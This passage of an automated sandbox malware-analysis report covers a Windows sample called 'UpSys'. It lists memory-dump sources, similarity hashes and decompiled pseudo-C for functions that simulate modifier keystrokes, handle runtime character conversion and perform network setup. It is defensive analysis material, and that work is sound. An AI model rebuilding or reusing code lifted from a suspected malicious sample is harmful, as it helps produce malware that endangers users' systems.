                                                                                                                                                                                                        0x14002bad6
                                                                                                                                                                                                        0x14002bad9
                                                                                                                                                                                                        0x14002badb
                                                                                                                                                                                                        0x14002badf
                                                                                                                                                                                                        0x14002bae3
                                                                                                                                                                                                        0x14002bae5
                                                                                                                                                                                                        0x14002bae8
                                                                                                                                                                                                        0x14002baf0
                                                                                                                                                                                                        0x14002bb02
                                                                                                                                                                                                        0x14002bb04
                                                                                                                                                                                                        0x14002bb0a
                                                                                                                                                                                                        0x14002bb11
                                                                                                                                                                                                        0x14002bb23
                                                                                                                                                                                                        0x14002bb25
                                                                                                                                                                                                        0x14002bb2b
                                                                                                                                                                                                        0x14002bb2e
                                                                                                                                                                                                        0x14002bb39
                                                                                                                                                                                                        0x14002bb3e
                                                                                                                                                                                                        0x14002bb44
                                                                                                                                                                                                        0x14002bb4a
                                                                                                                                                                                                        0x14002bb54
                                                                                                                                                                                                        0x14002bb5b
                                                                                                                                                                                                        0x14002bb82

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: _errno$DecodePointer_getptd
                                                                                                                                                                                                        • String ID: -$e+000$gfff
                                                                                                                                                                                                        • API String ID: 2834218312-2620144452
                                                                                                                                                                                                        • Opcode ID: 878108af6540af829aaed1234cf0ad3817bd9225ad56d57840d7eddf905f8b99
                                                                                                                                                                                                        • Instruction ID: 303606545f41f228563ce60847b8cc53ac88557d1854fcbdcd6ae8b9e3dfe568
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 878108af6540af829aaed1234cf0ad3817bd9225ad56d57840d7eddf905f8b99
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 536128762146C046E726CB3A94417DE7BA5F389BC8F588219FB984BBE5CB3AC844C701
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140051190 Relevance: 10.7, APIs: 7, Instructions: 161windowCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 31%
                                                                                                                                                                                                        			E00000001140051190(long long __rbx, void* __rcx, intOrPtr* __rdx, long long __rdi, long long __rsi, long long __rbp) {
				void* _v8;
				signed int _v103;
				signed int _v104;
				signed int _v173;
				signed int _v246;
				signed int _v247;
				signed char _v248;
				void* _v264;
				long long _v280;
				signed char _t66;
				void* _t129;
				intOrPtr* _t131;
				intOrPtr* _t147;
				void* _t155;
				struct HWND__* _t169;

				_t147 = __rdx;
				_t129 = _t155;
				 *((long long*)(_t129 + 8)) = __rbx;
				 *((long long*)(_t129 + 0x10)) = __rbp;
				 *((long long*)(_t129 + 0x18)) = __rsi;
				 *((long long*)(_t129 + 0x20)) = __rdi;
				_t131 = __rdx;
				if ( *__rdx != sil) goto 0x400511d5;
				if ( *((intOrPtr*)(__rdx + 1)) != sil) goto 0x400511d5;
				if ( *((intOrPtr*)(__rdx + 2)) != sil) goto 0x400511d5;
				if ( *((intOrPtr*)(__rdx + 3)) != sil) goto 0x400511d5;
				if ( *((intOrPtr*)(__rdx + 4)) == sil) goto 0x400513cc;
				if ( *((intOrPtr*)(__rcx + 0x28)) == __rsi) goto 0x40051334;
				GetParent(_t169);
				if (_t129 == __rsi) goto 0x40051334;
				GetKeyboardState(??);
				r11b = 0x80;
				if ( *__rdx == sil) goto 0x40051217;
				_t66 = _v248 ^ r11b;
				_v104 = _v104 ^ r11b;
				_v248 = _t66;
				if ( *((intOrPtr*)(__rdx + 1)) == sil) goto 0x4005122c;
				_v103 = _v103 ^ r11b;
				_v248 = _t66 ^ r11b;
				if ( *((intOrPtr*)(__rdx + 2)) == sil) goto 0x40051237;
				_v247 = _v247 ^ r11b;
				if ( *((intOrPtr*)(__rdx + 3)) == sil) goto 0x40051242;
				_v246 = _v246 ^ r11b;
				if ( *((intOrPtr*)(__rdx + 4)) == sil) goto 0x40051250;
				_v173 = _v173 ^ r11b;
				SetKeyboardState(??);
				r12d = 0xc0000001;
				if ( *__rdx != sil) goto 0x40051271;
				if ( *((intOrPtr*)(__rdx + 1)) == sil) goto 0x40051290;
				r8d = 0x10;
				PostMessageW(??, ??, ??, ??);
				if ( *((intOrPtr*)(__rdx + 2)) == sil) goto 0x400512b5;
				r8d = 0x11;
				PostMessageW(??, ??, ??, ??);
				if ( *((intOrPtr*)(__rdx + 3)) == sil) goto 0x40051306;
				if ( *((intOrPtr*)(__rdx + 2)) != sil) goto 0x400512e2;
				if ( *((intOrPtr*)(__rcx + 0x20)) != sil) goto 0x400512e2;
				goto 0x400512f6;
				if (0xe0000001 == sil) goto 0x40051306;
				r8d = 0x12;
				PostMessageW(??, ??, ??, ??);
				if ( *((intOrPtr*)(__rdx + 4)) == sil) goto 0x400513c4;
				r8d = 0x5b;
				PostMessageW(??, ??, ??, ??);
				goto 0x400513c4;
				if ( *__rdx == sil) goto 0x40051354;
				r8b =  *((intOrPtr*)(__rcx + 0x33));
				r9d = 2;
				_v280 = __rsi;
				E00000001140041FA0(0xa0, __rcx);
				if ( *((intOrPtr*)(_t131 + 1)) == sil) goto 0x40051370;
				r8b =  *((intOrPtr*)(__rcx + 0x34));
				r9d = 2;
				_v280 = __rsi;
				E00000001140041FA0(0xa1, __rcx);
				if ( *((intOrPtr*)(_t131 + 2)) == sil) goto 0x4005138c;
				r8b =  *((intOrPtr*)(__rcx + 0x30));
				r9d = 2;
				_v280 = __rsi;
				E00000001140041FA0(0x11, __rcx);
				if ( *((intOrPtr*)(_t131 + 3)) == sil) goto 0x400513a8;
				r8b =  *((intOrPtr*)(__rcx + 0x31));
				r9d = 2;
				_v280 = __rsi;
				E00000001140041FA0(0x12, __rcx);
				if ( *((intOrPtr*)(_t131 + 4)) == sil) goto 0x400513c4;
				r8b =  *((intOrPtr*)(__rcx + 0x35));
				r9d = 2;
				_v280 = __rsi;
				E00000001140041FA0(0x5b, __rcx);
				return E00000001140042030(_t129, _t131, __rcx, _t147, __rcx, __rsi, __rbp);
			}


















                                                                                                                                                                                                        0x140051190
                                                                                                                                                                                                        0x140051190
                                                                                                                                                                                                        0x140051193
                                                                                                                                                                                                        0x140051197
                                                                                                                                                                                                        0x14005119b
                                                                                                                                                                                                        0x14005119f
                                                                                                                                                                                                        0x1400511ae
                                                                                                                                                                                                        0x1400511b7
                                                                                                                                                                                                        0x1400511bd
                                                                                                                                                                                                        0x1400511c3
                                                                                                                                                                                                        0x1400511c9
                                                                                                                                                                                                        0x1400511cf
                                                                                                                                                                                                        0x1400511dc
                                                                                                                                                                                                        0x1400511e2
                                                                                                                                                                                                        0x1400511eb
                                                                                                                                                                                                        0x1400511f6
                                                                                                                                                                                                        0x140051200
                                                                                                                                                                                                        0x140051206
                                                                                                                                                                                                        0x140051208
                                                                                                                                                                                                        0x14005120b
                                                                                                                                                                                                        0x140051213
                                                                                                                                                                                                        0x14005121b
                                                                                                                                                                                                        0x140051220
                                                                                                                                                                                                        0x140051228
                                                                                                                                                                                                        0x140051230
                                                                                                                                                                                                        0x140051232
                                                                                                                                                                                                        0x14005123b
                                                                                                                                                                                                        0x14005123d
                                                                                                                                                                                                        0x140051246
                                                                                                                                                                                                        0x140051248
                                                                                                                                                                                                        0x140051255
                                                                                                                                                                                                        0x140051260
                                                                                                                                                                                                        0x140051269
                                                                                                                                                                                                        0x14005126f
                                                                                                                                                                                                        0x140051279
                                                                                                                                                                                                        0x14005128a
                                                                                                                                                                                                        0x140051294
                                                                                                                                                                                                        0x14005129e
                                                                                                                                                                                                        0x1400512af
                                                                                                                                                                                                        0x1400512bb
                                                                                                                                                                                                        0x1400512c1
                                                                                                                                                                                                        0x1400512c7
                                                                                                                                                                                                        0x1400512e0
                                                                                                                                                                                                        0x1400512e5
                                                                                                                                                                                                        0x1400512fa
                                                                                                                                                                                                        0x140051300
                                                                                                                                                                                                        0x14005130a
                                                                                                                                                                                                        0x140051318
                                                                                                                                                                                                        0x140051329
                                                                                                                                                                                                        0x14005132f
                                                                                                                                                                                                        0x14005133c
                                                                                                                                                                                                        0x14005133e
                                                                                                                                                                                                        0x140051342
                                                                                                                                                                                                        0x14005134a
                                                                                                                                                                                                        0x14005134f
                                                                                                                                                                                                        0x140051358
                                                                                                                                                                                                        0x14005135a
                                                                                                                                                                                                        0x14005135e
                                                                                                                                                                                                        0x140051366
                                                                                                                                                                                                        0x14005136b
                                                                                                                                                                                                        0x140051374
                                                                                                                                                                                                        0x140051376
                                                                                                                                                                                                        0x14005137a
                                                                                                                                                                                                        0x140051382
                                                                                                                                                                                                        0x140051387
                                                                                                                                                                                                        0x140051390
                                                                                                                                                                                                        0x140051392
                                                                                                                                                                                                        0x140051396
                                                                                                                                                                                                        0x14005139e
                                                                                                                                                                                                        0x1400513a3
                                                                                                                                                                                                        0x1400513ac
                                                                                                                                                                                                        0x1400513ae
                                                                                                                                                                                                        0x1400513b2
                                                                                                                                                                                                        0x1400513ba
                                                                                                                                                                                                        0x1400513bf
                                                                                                                                                                                                        0x1400513e9

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: MessagePost$KeyboardState$Parent
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 87235514-0
                                                                                                                                                                                                        • Opcode ID: 10c27ce84f082164280264a35327a0bc83cce5ecd3178eb0eb58e3c8b1247cee
                                                                                                                                                                                                        • Instruction ID: 315b2df3648574adcd1bca819ea8563a033d956a4fdc670f430692727d66bbe4
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 10c27ce84f082164280264a35327a0bc83cce5ecd3178eb0eb58e3c8b1247cee
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 41618F722092D056E772CB2351107EE7FA1F38ABC8F898159FB8507F66CA39C961C724
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 000000014002C89C Relevance: 10.6, APIs: 7, Instructions: 138COMMONLIBRARYCODECrypto
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 80%
                                                                                                                                                                                                        			E0000000114002C89C(intOrPtr* __rax, long long __rbx, signed int* __rcx, void* __rdx, void* __r8, long long _a8, signed int _a32, intOrPtr _a40) {
				intOrPtr _v32;
				intOrPtr _v40;
				char _v56;
				long long _v88;
				void* __rsi;
				void* __rbp;
				intOrPtr* _t41;
				void* _t51;
				void* _t52;
				long long _t53;

				_t41 = __rax;
				_a8 = __rbx;
				_a32 = r9w;
				_t51 = __r8;
				_t52 = __rdx;
				if (__rdx != _t53) goto 0x4002c8d1;
				if (__r8 - _t53 <= 0) goto 0x4002c8d1;
				if (__rcx == _t53) goto 0x4002c8ca;
				 *__rcx = 0;
				goto 0x4002c975;
				if (__rcx == _t53) goto 0x4002c8d9;
				 *__rcx =  *__rcx | 0xffffffff;
				if (__r8 - 0x7fffffff <= 0) goto 0x4002c906;
				E0000000114001EAE4(__r8 - 0x7fffffff, __rax);
				r9d = 0;
				r8d = 0;
				 *__rax = 0x16;
				_v88 = _t53;
				E0000000114001EA14(__rax, __rcx, __rcx, __rdx, __rdx, _t53, __r8);
				goto 0x4002c975;
				E00000001140016BCC(__rax,  &_v56, _a40);
				if ( *((intOrPtr*)(_v56 + 0x14)) != 0) goto 0x4002c9f4;
				if ((_a32 & 0x0000ffff) - 0xff <= 0) goto 0x4002c985;
				if (_t52 == _t53) goto 0x4002c950;
				if (_t51 - _t53 <= 0) goto 0x4002c950;
				E00000001140017520(_a32 & 0x0000ffff, 0xff, 0, _t52, _a40, _t51);
				E0000000114001EAE4(_t51 - _t53, _t41);
				 *_t41 = 0x2a;
				E0000000114001EAE4(_t51 - _t53, _t41);
				if (_v32 == bpl) goto 0x4002c975;
				 *(_v40 + 0xc8) =  *(_v40 + 0xc8) & 0xfffffffd;
				return  *_t41;
			}













                                                                                                                                                                                                        0x14002c89c
                                                                                                                                                                                                        0x14002c89c
                                                                                                                                                                                                        0x14002c8a1
                                                                                                                                                                                                        0x14002c8b0
                                                                                                                                                                                                        0x14002c8b3
                                                                                                                                                                                                        0x14002c8bc
                                                                                                                                                                                                        0x14002c8c1
                                                                                                                                                                                                        0x14002c8c6
                                                                                                                                                                                                        0x14002c8c8
                                                                                                                                                                                                        0x14002c8cc
                                                                                                                                                                                                        0x14002c8d4
                                                                                                                                                                                                        0x14002c8d6
                                                                                                                                                                                                        0x14002c8e0
                                                                                                                                                                                                        0x14002c8e2
                                                                                                                                                                                                        0x14002c8ec
                                                                                                                                                                                                        0x14002c8ef
                                                                                                                                                                                                        0x14002c8f6
                                                                                                                                                                                                        0x14002c8f8
                                                                                                                                                                                                        0x14002c8fd
                                                                                                                                                                                                        0x14002c904
                                                                                                                                                                                                        0x14002c913
                                                                                                                                                                                                        0x14002c921
                                                                                                                                                                                                        0x14002c937
                                                                                                                                                                                                        0x14002c93c
                                                                                                                                                                                                        0x14002c941
                                                                                                                                                                                                        0x14002c94b
                                                                                                                                                                                                        0x14002c950
                                                                                                                                                                                                        0x14002c955
                                                                                                                                                                                                        0x14002c95b
                                                                                                                                                                                                        0x14002c967
                                                                                                                                                                                                        0x14002c96e
                                                                                                                                                                                                        0x14002c984

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: _errno$ByteCharErrorLastMultiWide
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 3895584640-0
                                                                                                                                                                                                        • Opcode ID: 22fd472b9e7c9b23fe1ef7cf14d871a68af43c91f5aed8d69c469980aaa497b8
                                                                                                                                                                                                        • Instruction ID: c359c38b3d688d4b6da7cabd776858c6114fa5598113a7119e9ee20fe4c081c0
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 22fd472b9e7c9b23fe1ef7cf14d871a68af43c91f5aed8d69c469980aaa497b8
                                                                                                                                                                                                        • Instruction Fuzzy Hash: F651E3766146C08AE7729F66E044BEEB790F7897D0F588119F79947AE5CE38CC818B02
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140088700 Relevance: 9.2, APIs: 6, Instructions: 225networkCOMMONCrypto
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 54%
                                                                                                                                                                                                        			E00000001140088700(void* __ecx, void* __edx, void* __ebp, long long __rbx, intOrPtr* __rcx, void* __rdx, void* __r8, void* __r9, long long _a8, char _a16, signed int _a32, intOrPtr _a36) {
				long long _v576;
				signed int _v584;
				char _v616;
				char _v648;
				short _v650;
				short _v654;
				intOrPtr _v660;
				signed int _v662;
				char _v664;
				long long _v672;
				long long _v680;
				void* __rdi;
				void* __rsi;
				void* __rbp;
				long long _t59;
				void* _t62;
				signed short _t71;
				void* _t75;
				signed int _t103;
				void* _t111;
				intOrPtr _t118;
				signed short _t121;
				intOrPtr _t123;
				signed int* _t126;
				intOrPtr* _t128;
				void* _t188;
				signed int* _t189;
				void* _t190;
				intOrPtr _t191;
				long long _t192;
				void* _t193;
				void* _t202;
				signed short _t203;
				void* _t205;
				void* _t206;

				_t200 = __r9;
				_t197 = __r8;
				_a8 = __rbx;
				_t118 =  *((intOrPtr*)(__rdx + 8));
				_t128 = __rcx;
				_t205 = __r8;
				_t188 = __rdx;
				r12d = E00000001140010880( *((intOrPtr*)(_t118 + 8)));
				E00000001140012D80(__edx, _t118, __rcx, __r8, 0x4009b6c0, _t190, __r8);
				r9d = 0;
				_t5 = _t200 + 1; // 0x1
				_t103 = _t5;
				r8d = _t103;
				E00000001140011400(_t103, _t128,  *((intOrPtr*)( *((intOrPtr*)(_t188 + 8)))), _t188, _t190, __r9);
				r15d = 0;
				if (_t118 != _t206) goto 0x40088779;
				r8d = 0;
				E0000000114000FCA0(_t103 | 0xffffffff,  *_t128, _t128,  *((intOrPtr*)( *_t128 + 4)) + _t128, _t190);
				goto 0x40088a41;
				if (E00000001140010880( *_t128) == 0x2b594d1) goto 0x4008879b;
				r8d = 0;
				goto 0x4008876f;
				_t121 =  *((intOrPtr*)(_t188 + 8));
				r9d = _t103;
				r8d = _t103;
				E00000001140011400(_t103, _t128,  *_t121, _t188, _t190, __r9);
				_t203 = _t121;
				_t59 = E00000001140010880(_t121);
				_v664 = r15w;
				_a16 = 0x10;
				_t192 = _t59;
				_v662 = _t121;
				_v654 = 0;
				_v650 = 0;
				if (_t192 == 0xffffffff) goto 0x4008875f;
				r9d = 0;
				r8d = 0;
				_a32 = r15d;
				_v680 =  &_a32;
				_a36 = 0x186a0;
				_v576 = _t192;
				_v584 = _t103;
				0x40016644();
				if (0 != 0xffffffff) goto 0x4008884a;
				0x4001663e();
				_t123 =  *_t128;
				r8d = 0;
				goto 0x4008876f;
				_t23 = _t202 + 1; // 0x1
				_t62 = E00000001140016ED8(_t123, _t23);
				_t191 = _t123;
				0x4001664a();
				if (_t62 == r15d) goto 0x40088a39;
				r9d = 0;
				r8d = r12d;
				_v672 =  &_a16;
				_v680 =  &_v664;
				0x4001668c();
				_t193 = _t62;
				if (__ebp == 0xffffffff) goto 0x40088831;
				_t111 =  *((long long*)(_t188 + 0x10)) - 3;
				r12d = r15d;
				if (_t111 < 0) goto 0x400889b1;
				_t126 =  *((intOrPtr*)(_t188 + 8));
				r15d = E00000001140010880(_t126[4]);
				r15d = r15d & 0x00000001;
				r12d = E00000001140010880( *((intOrPtr*)( *((intOrPtr*)(_t188 + 8)) + 0x10)));
				r12d = r12d & 0x00000002;
				if (_t111 == 0) goto 0x4008898d;
				r8d = 3;
				_t34 = _t197 - 2; // -2
				r13d = _t34;
				E00000001140012B40(r13d, __r8, _t191, _t191, __r8, __r9);
				r9d = r13d;
				r8d = r13d;
				E00000001140011400(0, _t128, __r8, _t188, _t191, __r9);
				_t129 = _t126;
				0x4001662c();
				E00000001140051E60(_v660, _t126, _t126,  &_v648, _t126);
				E00000001140078380(_t126, _t126,  &_v648,  &_v616, _t191, _t193, __r9);
				E00000001140002610(E00000001140013120(_t126, _t126, _t126, _t126), _t129,  &_v616);
				_t40 = _t203 + 1; // -1
				r9d = _t40;
				r8d = r13d;
				_t71 = E00000001140011400(0, _t129, _t205, _t188, _t191, _t200);
				_t189 = _t126;
				0x40016692();
				E00000001140007A40(_t129, _t189, _t191);
				r9d = 0;
				r8d = r13d;
				_t189[2] = r13d;
				 *_t189 = _t71 & 0x0000ffff;
				E00000001140002610(E00000001140011400(0, _t129, _t205, _t189, _t191, _t200), _t129,  &_v648);
				if (r15d == 0) goto 0x400889ae;
				if (r12d == 0) goto 0x400889a9;
				_t75 = E00000001140061F10(__ebp, _t126, _t129, _t126, _t126, _t191);
				goto 0x40088a2e;
				goto 0x4008899c;
				r15d = 0;
				_t130 = _t193;
				 *((intOrPtr*)(_t193 + _t191)) = r15b;
				if (E00000001140017C00(_t75, _t191) != __ebp) goto 0x40088a19;
				E00000001140011880(_t126, _t193,  &_v648, _t193);
				E00000001140051E60(_v662 & 0x0000ffff, _t126, _t193,  &_v616, _t191);
				E00000001140002610(E0000000114007AAE0(_v662 & 0x0000ffff, __ebp, _t193,  &_v648,  &_v616, _t191,  *((intOrPtr*)(_t188 + 8))), _t130,  &_v616);
				if (r12d != r15d) goto 0x40088a08;
				E00000001140002610(E00000001140013120(_t126, _t130, _t205,  &_v648), _t130,  &_v648);
				goto 0x40088a39;
				if (r12d != r15d) goto 0x40088a26;
				E00000001140061F10(__ebp, _t126, _t130, _t205,  &_v648, _t191);
				E00000001140016710(_v662 & 0x0000ffff, r12d - r15d, _t126, _t191, _t130);
				0x40016a60();
				return 0;
			}






































                                                                                                                                                                                                        0x140088700
                                                                                                                                                                                                        0x140088700
                                                                                                                                                                                                        0x140088700
                                                                                                                                                                                                        0x140088717
                                                                                                                                                                                                        0x14008871b
                                                                                                                                                                                                        0x14008871e
                                                                                                                                                                                                        0x140088725
                                                                                                                                                                                                        0x140088737
                                                                                                                                                                                                        0x14008873a
                                                                                                                                                                                                        0x140088746
                                                                                                                                                                                                        0x140088749
                                                                                                                                                                                                        0x140088749
                                                                                                                                                                                                        0x14008874d
                                                                                                                                                                                                        0x140088752
                                                                                                                                                                                                        0x140088757
                                                                                                                                                                                                        0x14008875d
                                                                                                                                                                                                        0x140088762
                                                                                                                                                                                                        0x14008876f
                                                                                                                                                                                                        0x140088774
                                                                                                                                                                                                        0x140088786
                                                                                                                                                                                                        0x140088792
                                                                                                                                                                                                        0x140088799
                                                                                                                                                                                                        0x14008879b
                                                                                                                                                                                                        0x14008879f
                                                                                                                                                                                                        0x1400887a2
                                                                                                                                                                                                        0x1400887aa
                                                                                                                                                                                                        0x1400887b2
                                                                                                                                                                                                        0x1400887b5
                                                                                                                                                                                                        0x1400887ba
                                                                                                                                                                                                        0x1400887c0
                                                                                                                                                                                                        0x1400887cb
                                                                                                                                                                                                        0x1400887d0
                                                                                                                                                                                                        0x1400887d5
                                                                                                                                                                                                        0x1400887d9
                                                                                                                                                                                                        0x1400887e2
                                                                                                                                                                                                        0x1400887f8
                                                                                                                                                                                                        0x1400887fb
                                                                                                                                                                                                        0x140088800
                                                                                                                                                                                                        0x140088808
                                                                                                                                                                                                        0x14008880d
                                                                                                                                                                                                        0x140088818
                                                                                                                                                                                                        0x140088820
                                                                                                                                                                                                        0x140088827
                                                                                                                                                                                                        0x14008882f
                                                                                                                                                                                                        0x140088831
                                                                                                                                                                                                        0x140088838
                                                                                                                                                                                                        0x140088842
                                                                                                                                                                                                        0x140088845
                                                                                                                                                                                                        0x14008884a
                                                                                                                                                                                                        0x140088852
                                                                                                                                                                                                        0x140088862
                                                                                                                                                                                                        0x140088865
                                                                                                                                                                                                        0x14008886d
                                                                                                                                                                                                        0x14008887b
                                                                                                                                                                                                        0x14008887e
                                                                                                                                                                                                        0x140088881
                                                                                                                                                                                                        0x140088891
                                                                                                                                                                                                        0x140088896
                                                                                                                                                                                                        0x14008889b
                                                                                                                                                                                                        0x1400888a1
                                                                                                                                                                                                        0x1400888a3
                                                                                                                                                                                                        0x1400888a8
                                                                                                                                                                                                        0x1400888ab
                                                                                                                                                                                                        0x1400888b1
                                                                                                                                                                                                        0x1400888c6
                                                                                                                                                                                                        0x1400888c9
                                                                                                                                                                                                        0x1400888d2
                                                                                                                                                                                                        0x1400888d5
                                                                                                                                                                                                        0x1400888d9
                                                                                                                                                                                                        0x1400888df
                                                                                                                                                                                                        0x1400888e8
                                                                                                                                                                                                        0x1400888e8
                                                                                                                                                                                                        0x1400888ef
                                                                                                                                                                                                        0x1400888f4
                                                                                                                                                                                                        0x1400888f7
                                                                                                                                                                                                        0x1400888ff
                                                                                                                                                                                                        0x140088908
                                                                                                                                                                                                        0x14008890b
                                                                                                                                                                                                        0x140088918
                                                                                                                                                                                                        0x140088927
                                                                                                                                                                                                        0x14008893c
                                                                                                                                                                                                        0x140088941
                                                                                                                                                                                                        0x140088941
                                                                                                                                                                                                        0x140088945
                                                                                                                                                                                                        0x14008894d
                                                                                                                                                                                                        0x140088957
                                                                                                                                                                                                        0x14008895a
                                                                                                                                                                                                        0x140088965
                                                                                                                                                                                                        0x14008896a
                                                                                                                                                                                                        0x14008896d
                                                                                                                                                                                                        0x140088975
                                                                                                                                                                                                        0x140088979
                                                                                                                                                                                                        0x140088988
                                                                                                                                                                                                        0x140088990
                                                                                                                                                                                                        0x140088997
                                                                                                                                                                                                        0x14008899c
                                                                                                                                                                                                        0x1400889a4
                                                                                                                                                                                                        0x1400889ac
                                                                                                                                                                                                        0x1400889ae
                                                                                                                                                                                                        0x1400889b4
                                                                                                                                                                                                        0x1400889b7
                                                                                                                                                                                                        0x1400889c3
                                                                                                                                                                                                        0x1400889cd
                                                                                                                                                                                                        0x1400889da
                                                                                                                                                                                                        0x1400889f3
                                                                                                                                                                                                        0x140088a03
                                                                                                                                                                                                        0x140088a12
                                                                                                                                                                                                        0x140088a17
                                                                                                                                                                                                        0x140088a21
                                                                                                                                                                                                        0x140088a26
                                                                                                                                                                                                        0x140088a34
                                                                                                                                                                                                        0x140088a3c
                                                                                                                                                                                                        0x140088a5d

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
